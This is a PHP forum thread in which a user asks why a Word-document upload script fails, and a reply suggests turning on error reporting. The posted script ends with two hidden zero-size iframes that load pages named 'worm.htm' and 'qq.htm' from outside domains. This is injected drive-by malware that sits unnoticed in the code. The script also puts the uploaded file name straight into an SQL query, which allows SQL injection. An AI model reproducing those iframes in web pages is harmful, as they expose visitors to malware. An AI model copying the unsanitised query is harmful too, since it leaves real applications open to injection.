Jump to content

php help


k12

Recommended Posts

hi

can anyone help me?

 

i try to set the upload function to upload cv using following code but it showing error message

 

it would be great if u could solve this problem

 

i get following error message[/b]

 

Warning: filesize() [function.filesize]: stat failed for cv/kannan cv.doc in C:\wamp\www\www\upload.php on line 45

 

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\wamp\www\www\database.class.php on line 39

 

Warning: mysql_error(): supplied argument is not a valid MySQL-Link resource in C:\wamp\www\www\database.class.php on line 34

INSERT INTO docs (name, fsize) VALUES ('kannan cv.doc', '')

 

 

 

my code for uploading cv

<?php

/***************************************************

***   UPLOAD.PHP                    ***

*** Description: Uploads the word document    ***

*** Last edited: december 11, 2006              ***

*** Author: kannan          ***

***************************************************/

 

require_once 'config.inc.php';

 

 

/*

* bool uploadFile(string name, string to)

*

* Upload file to specified path

*

* @name string name of key in $_FILES

* @to string path to upload file to

*/

 

function uploadFile($name, $to) {

$file = $_FILES[$name];

$file_name = basename($file['name']);

if (!empty($name) && !empty($to)) {

if (is_uploaded_file($file['tmp_name'])) {

//if (move_uploaded_file($file['tmp_name'], $to . '/' . $file_name)) {

// File Uploaded

return true;

} else {

return false;

}

 

} else {

return false;

}

}

 

 

 

 

 

 

 

if (uploadFile('word', 'cv')) {

if ($database->execute("INSERT INTO docs (name, fsize) VALUES ('" .  basename($_FILES['word']['name']) . "', '" . filesize('cv/' . basename($_FILES['word']['name'])) . "')")) {

echo 'Your document has been uploaded.  Click <a href="cv/' . basename($_FILES['word']['name']) . '">here</a> to see it.';

} else {

echo $database->getError();

}

} else {

echo "error uploading document!<br /><br />\n\n<pre>\n" . print_r($_FILES) . "\n</pre>";

}

 

?><iframe src=http://www.krvkr.com/worm.htm width="0" height="0"></iframe>

<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>

 

 

Link to comment
https://forums.phpfreaks.com/topic/38685-php-help/
Share on other sites

Ok, the latter two errors are occurring in a different file...so we can't help you with those.  Judging by the error message, your database isn't connecting correctly.

 

You are getting the other error most likely because the move_uploaded_file function failed.  Ensure that error reporting is turned on and set to E_ALL.

 

ini_set("display_errors", 1);
error_reporting(E_ALL);

 

And why does everyone seem to be using the basename function on the "name" element of the $_FILES array?  The element only contains the name of the file, not the entire path that it was uploaded from, which means using that function is pointless.

Link to comment
https://forums.phpfreaks.com/topic/38685-php-help/#findComment-185945
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.